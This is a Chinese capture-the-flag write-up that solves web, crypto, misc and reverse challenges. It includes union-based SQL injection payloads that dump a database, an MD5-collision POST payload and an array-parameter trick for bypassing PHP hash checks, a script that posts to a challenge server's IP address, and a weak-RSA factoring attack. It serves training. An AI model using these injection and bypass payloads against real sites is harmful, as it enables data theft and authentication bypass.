土肥原贤二
题目类别:Web 题目目标:sql 注入
先测试 1‘ 1’‘ 发现是字符型注入
题目给出是4列 用order by验证一下 正确
-1' union select datebase(),2,3,4 #
找到当前数据库 luozhen
-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='luozhen' #
找到表 flag,goods
-1' union select group_concat(column_name) ,2,3,4 from information_schema.columns where table_name='flag' #
查看表 内字段
-1' union select id,flag,3,4 from flag #
得到flag
20_welcome_19
死亡真相
题目类别:Misc 题目目标:wav隐写+脑洞
使用Adobe Audition CS6
打开该wav
文件,即可发现明显的flag。
然后。。。。
然后在我找了一大圈之后。。。终于。。。
将下划线替换成0然后进行md5解密
收工。。。
吴佩孚
题目类别:MISC|Web 题目目标:略
base64解密 发现是一堆符号 jsfuck 直接丢进控制台 得到flag
“flag{sdf465454dfgert32}”
日军空袭
题目类别:Crypto 题目目标:解密
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE
观察代码,发现属于Base
加密模式,那么利用脚本筛选是Base64
还是Base32
还是Base16
,这里经过测试发现最后其实都是Base64
。
import base64
file_object = open('enc.txt')
file_context = file_object.read()
mid_1=base64.b64decode(file_context).replace('%3D','=')
mid_2=base64.b64decode(mid_1).replace('%3D','=')
mid_3=base64.b64decode(mid_2).replace('%3D','=')
mid_4=base64.b64decode(mid_3).replace('%3D','=')
mid_5=base64.b64decode(mid_4).replace('%3D','=')
mid_6=base64.b64decode(mid_5).replace('%3D','=')
mid_7=base64.b64decode(mid_6).replace('%3D','=')
mid_8=base64.b64decode(mid_7).replace('%3D','=')
mid_9=base64.b64decode(mid_8).replace('%3D','=')
mid_10=base64.b64decode(mid_9).replace('%3D','=')
mid_11=base64.b64decode(mid_10).replace('%3D','=')
mid_12=base64.b64decode(mid_11).replace('%3D','=')
mid_13=base64.b64decode(mid_12).replace('%3D','=')
mid_14=base64.b64decode(mid_13).replace('%3D','=')
mid_15=base64.b64decode(mid_14).replace('%3D','=')
print(mid_15)
最后得到fB__l621a4h4g_ai%7B%26i%7D
,URL解密+栅栏解密即可
戴星炳
题目类别:Web 题目目标:快速计算并返回指定字符串的结果
Python
中的eval
函数可以快速计算字符串算式。
Python eval() 函数
Python 内置函数
描述
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
语法
以下是 eval() 方法的语法:
eval(expression[, globals[, locals]])
参数
expression -- 表达式。
globals -- 变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。
locals -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。
返回值
返回表达式计算结果。
因此结合requests
包,EXP如下:
import requests
test=requests.get('http://47.103.43.235:82/web/a/index.php')
result=requests.post('http://47.103.43.235:82/web/a/index.php', data={'result': eval((test.text)[40:98])})
print(result.text)
大美晚报
题目类别:Misc 题目目标:从二维码中提取隐藏信息
扫描二维码,发现没有任何提示性信息
查看十六进制,发现ZIP
文件头50 4B 03 04
,提取
使用WinRAR
打开
所以密码必定为1-10位的纯数字,爆破
解压即可获得Flag
潘汉年
题目类别:Crypto 题目目标:解密bg[
sZ*Zg'dPfP
VM_SXVd
因为题目中提示了Tips:flag格式为 flag{xxx}
那么一定存在以下关系
bg[`sZ*Zg'dPfP`VM_SXVd
flag{xxxxxxxxxxxxxxxx}
那么转换为ASCII码
98 103 91 96 115
102 108 97 103 123
发现它们的差满足
4 5 6 7 8
那么尝试写出EXP
enc_text="bg[`sZ*Zg'dPfP`VM_SXVd"
flag=""
offset=4
for i in enc_text:
flag += chr(ord(i)+offset)
offset=offset+1
print(flag)
袁殊
题目类别:Crypto 题目目标:RSA_Attack
发现题目中给出的key
文件过短,那么使用opensssl
提取n、e
xiaolan@ubuntu:~/Desktop$ openssl rsa -in gy.key -pubin -text -modulus -noout
Public-Key: (256 bit)
Modulus:
00:a9:bd:4c:7a:77:63:37:0a:04:2f:e6:be:c7:dd:
c8:41:60:2d:b9:42:c7:a3:62:d1:b5:d3:72:a4:d0:
89:12:d9
Exponent: 65537 (0x10001)
Modulus=A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9
然后使用factordb分解,发现分解成功
于是EXP如下:
# coding = utf-8
import gmpy2
import math
import libnum
p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
e = 65537
c = 0x8DDBF10EB814BBE60CB05957A2445AE99F11A1E6EE33877082D8D2B01428D731
l = (p-1) * (q-1)
d = gmpy2.invert(e,l)
n=p*q
m = pow(c,d,n)
print n
print libnum.n2s(m)
晴气庆胤
题目类别:Web 题目目标:略
直接给两个输入框 先看源码发现
if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))
需要md5碰撞 但是 前边的判断转换为string类型
这个时候我们需要生成了两个不一样的txt文件,却有着相同的md5值
payload如下
param1=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP
¶m2=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
burp 抓包 返回得到flag
flag{MD5@_@success}
梅津美治郎
题目类别:Reverse 题目目标:略
无壳PE程序,使用IDA分析,发现程序中存在如下逻辑:
那么尝试运行程序并输入r0b0RUlez!
,发现程序存在第二层验证
查看字符串窗口发现没有目标字符串
查看scanf
函数的交叉引用,发现除了_main
函数调用了scanf
以外,还有sub_40157F
也调用了scanf
分析sub_40157F
,发现了
但是dword_40AD98
在静态分析看不到,于是动调。(断点下在_main
函数内部)
PS:Windows下动调需要保证路径是合法状态~不得含有中文及空格
于是尝试处理框起来的字符,处理方式为逐字符异或2
#include<bits/stdc++.h>
using namespace std;
int main()
{
string enc_text="u1nnf2lg";
for(int i=0;i<enc_text.length();i++){
enc_text[i]=enc_text[i]^2;
}
cout<<enc_text;
return 0;
}
尝试输入
于是,flag为flag{r0b0RUlez!_w3lld0ne}
池步洲
题目类别:Web 题目目标:略
直接数组绕过 post name[]=1&passwords[]=2
得到flag flag{Y0u_just_br0ke_sha1}